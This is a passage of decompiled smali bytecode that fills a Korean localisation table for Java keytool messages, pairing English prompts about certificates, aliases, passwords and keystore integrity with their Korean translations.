                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "\uc778\uc99d\uc11c\uac00 <{0}> \ubcc4\uce6d \uc544\ub798\uc758 keystore\uc5d0 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "\ucd94\uac00\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "\uc778\uc99d\uc11c\uac00 <{0}> \ubcc4\uce6d \uc544\ub798\uc758 \uc2dc\uc2a4\ud15c \ubc94\uc704 CA keystore\uc5d0 \uc774\ubbf8 \uc788\uc2b5\ub2c8\ub2e4."
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "\uc0ac\uc6a9\uc790 keystore\uc5d0 \ucd94\uac00\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "\uc774 \uc778\uc99d\uc11c\ub97c \uc2e0\ub8b0\ud558\uc2ed\ub2c8\uae4c? [\uc544\ub2c8\uc624]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "\uc608"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "\uc0c8 \ud504\ub86c\ud504\ud2b8: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "\uc554\ud638\ub294 \ub2ec\ub77c\uc57c \ud569\ub2c8\ub2e4."
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "\uc0c8 {0}\uc744(\ub97c) \ub2e4\uc2dc \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "\uc0c8 \uc554\ud638\ub97c \ub2e4\uc2dc \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "\uc77c\uce58\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \ub2e4\uc2dc \uc2dc\ub3c4\ud558\uc2ed\uc2dc\uc624."
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "{0} \ubcc4\uce6d \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "\uc0c8 \ubcc4\uce6d \uc785\ub825\t(Enter - \uc774 \ud56d\ubaa9\uc5d0 \ub300\ud55c \uac00\uc838\uc624\uae30 \ucde8\uc18c): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "\ubcc4\uce6d \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(<{0}>\uc640(\uacfc) \uac19\uc740 \uacbd\uc6b0 Enter\ub97c \ub204\ub974\uc2ed\uc2dc\uc624.)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "\uc18c\uc720\uc790: {0}\n\ubc1c\uae09\uc790: {1}\n\uc77c\ub828 \ubc88\ud638: {2}\n\uc720\ud6a8 \uae30\uac04 \uc2dc\uc791: {3} \ub05d: {4}\n\uc778\uc99d \uc9c0\ubb38:\n\t MD5: {5}\n\t SHA1: {6}\n\t \uc11c\uba85 \uc54c\uace0\ub9ac\uc998 \uc774\ub984: {7}\n\t \ubc84\uc804: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "\uc774\ub984\uacfc \uc131\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "\uc870\uc9c1 \ub2e8\uc704 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "\uc870\uc9c1 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "\uad6c/\uad70/\uc2dc \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "\uc2dc/\ub3c4 \uc774\ub984\uc744 \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "\uc774 \uc870\uc9c1\uc758 \ub450 \uc790\ub9ac \uad6d\uac00 \ucf54\ub4dc\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624."
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "{0}\uc774(\uac00) \ub9de\uc2b5\ub2c8\uae4c?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "\uc544\ub2c8\uc624"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "\uc608"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "\ubcc4\uce6d <{0}>\uc5d0 \ud0a4 \uc5c6\uc74c"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "\ubcc4\uce6d <{0}>\uc774(\uac00) \uac1c\uc778 \ud0a4 \ud56d\ubaa9\uc774 \uc544\ub2cc \ud56d\ubaa9 \uc720\ud615\uc744 \ucc38\uc870\ud569\ub2c8\ub2e4. -keyclone \uba85\ub839\uc740 \uac1c\uc778 \ud0a4 \ud56d\ubaa9\uc758 \ubcf5\uc81c\ub9cc \uc9c0\uc6d0\ud569\ub2c8\ub2e4."
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "************** \uacbd\uace0 \uacbd\uace0 \uacbd\uace0 **************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* keystore\uc5d0 \uc800\uc7a5\ub41c \uc815\ubcf4\uc758 \ubb34\uacb0\uc131\uc774 \ud655\uc778\ub418\uc9c0 *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* srckeystore\uc5d0 \uc800\uc7a5\ub41c \uc815\ubcf4\uc758 \ubb34\uacb0\uc131*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* \uc54a\uc558\uc2b5\ub2c8\ub2e4! \ubb34\uacb0\uc131\uc744 \ud655\uc778\ud558\ub824\uba74 keystore *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* \uc554\ud638\ub97c \uc81c\uacf5\ud574\uc57c \ud569\ub2c8\ub2e4. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* srckeystore \uc554\ud638\ub97c \uc81c\uacf5\ud574\uc57c \ud569\ub2c8\ub2e4. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "\uc778\uc99d\uc11c \ud68c\uc2e0\uc5d0 <{0}>\uc5d0 \ub300\ud55c \uacf5\uac1c \ud0a4\uac00 \ub4e4\uc5b4\uc788\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4."
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "\ud68c\uc2e0\uc758 \ubd88\uc644\uc804\ud55c \uc778\uc99d\uc11c \uccb4\uc778"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "\ud68c\uc2e0\uc758 \uc778\uc99d\uc11c \uccb4\uc778\uc774 \ud655\uc778\